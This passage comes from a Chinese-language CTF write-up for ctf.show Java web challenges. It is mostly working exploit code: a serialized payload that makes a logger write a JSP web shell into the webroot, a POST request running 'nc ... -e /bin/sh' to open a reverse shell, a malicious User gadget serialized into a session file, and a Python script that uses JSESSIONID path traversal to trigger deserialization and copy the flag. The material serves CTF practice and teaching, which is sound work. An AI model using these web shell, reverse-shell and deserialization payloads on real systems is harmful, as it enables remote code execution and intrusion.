database.set(connection,"password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/b.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"evo1\"));%>" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(connection); byte [] payloadBytes = byteArrayOutputStream.toByteArray(); String payload = Base64.getEncoder().encodeToString(payloadBytes); System.out.println(payload); } }
没回显,访问页面弹个shell出来
http://b8fe834b-fc46-4e5d-92d4-29fd5a383cbd.challenge.ctf.show/b.jsp POST: evo1=nc your-ip your-port -e /bin/sh
web858
https://blog.csdn.net/qq_40898302/article/details/124291764
题目提示tomcat的session反序列化
,进去后看下User
类,很明显的命令执行的地方
private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this .username); }
现在只需要找个反序列化点,根据题目提示和前面列出的博客传个a.session
过去,再带着JSESSIONID
访问即可
package com.ctfshow.entity;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;public class web858 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { User user = new User (); Class c = user.getClass(); Field username = c.getDeclaredField("username" ); username.setAccessible(true ); username.set(user,"cp /flag /usr/local/tomcat/webapps/ROOT/flag.txt" ); serialize(user); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("a.session" )); oos.writeObject(obj); } }
生成文件后上传可以获得路径
/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a.session
写个脚本触发一下
import requestsurl = 'http://9d725641-84bf-4927-ac30-f167eec758e9.challenge.ctf.show/' cookies = { "JSESSIONID" :"../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a" } response = requests.get(url=url,cookies=cookies) print (response.text)
访问即可
http://9d725641-84bf-4927-ac30-f167eec758e9.challenge.ctf.show/flag.txt